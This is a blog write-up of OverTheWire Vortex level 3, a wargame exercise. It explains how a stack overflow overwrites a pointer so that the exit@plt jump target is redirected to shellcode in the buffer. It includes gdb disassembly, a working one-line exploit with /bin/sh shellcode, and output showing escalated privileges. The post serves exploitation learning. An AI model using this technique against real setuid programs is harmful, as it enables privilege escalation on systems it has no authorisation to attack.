OverTheWire.org - Vortex - Level 3 Writeup

Looking at the source code we see that the stack looks like this:

|----------------------------------------------|-----|-----|
| buffer (128 bytes)                           | tmp | lpp |
|----------------------------------------------|-----|-----|

Initially the  lpp points to the location of lp (which is on the heap, at address 0x0804...).
And lp points to the location (on the heap) of the number 31337

If we look at the last part assembler code we find:
...
   0x08048487 <+90>:    call   0x8048310 <exit@plt>
   0x0804848c <+95>:    mov    0x9c(%esp),%eax
   0x08048493 <+102>:   mov    (%eax),%eax
   0x08048495 <+104>:   mov    %eax,0x98(%esp)
   0x0804849c <+111>:   mov    0x9c(%esp),%eax
   0x080484a3 <+118>:   mov    (%eax),%eax
   0x080484a5 <+120>:   lea    0x18(%esp),%edx
   0x080484a9 <+124>:   mov    %edx,(%eax)
   0x080484ab <+126>:   movl   $0x0,(%esp)
   0x080484b2 <+133>:   call   0x8048310 <exit@plt>
End of assembler dump.

Where:
  • 0x18(%esp) is the start of the buffer address
  • 0x98(%esp) is tmp
  • 0x9c(%esp) is lpp

The code in the last few lines writes the buffer memory address into the memory location pointed by eax, but eax value is determined by 0x9c(%esp) (i.e. lpp)

So if build a buffer that is longer than 128 bytes we can write the address of the buffer into a memory location we can choose with the bytes 133rd - 136th (i.e. using lpp)

There is also a check that lpp must contain 0x0804. 
Therefore we cannot write arbitrary values to execute a standard buffer overflow using the return address pushed on the stack because it should start with 0xffff...

We can only write in memory areas that begins with 0x0804.

But we can exploit other things than the stack...
Look at the last line of assembler: it's a call to where exit is located on the heap:

(gdb) disas 0x08048310
Dump of assembler code for function exit@plt:
   0x08048310 <+0>:     jmp    *0x8049734
   0x08048316 <+6>:     push   $0x10
   0x0804831b <+11>:    jmp    0x80482e0

The interesting thing here is that there is a direct jump to an absolute address in memory (0x08049734).

What if we overwrite it with the buffer location using the "almost" arbitrary overwrite seen above?

The last exit() call should jump to code in the buffer!

The address to overwrite is just two bytes after the exit location on the heap:

(gdb) x/wx 0x08048312
0x8048312 <exit@plt+2>: 0x08049734

Let's build a buffer that is

|------------------------------------------------|-----|------------|
| NOP + shellcode (128 bytes)                    | tmp | 0x08048312 |
|------------------------------------------------|-----|------------|

And try:

vortex3@vortex:~$ /vortex/vortex3 $(python -c 'print "\x90"*101 + "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x31\xd2\x31\xc9\xb0\x0b\xcd\x80" + "\x18\xd5\xff\xff" +"\x12\x83\x04\x08"')
$ id
uid=5003(vortex3) gid=5003(vortex3) euid=5004(vortex4) groups=5004(vortex4),5003(vortex3)
$ cat /etc/vortex_pass/vortex4
2*******w
$

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.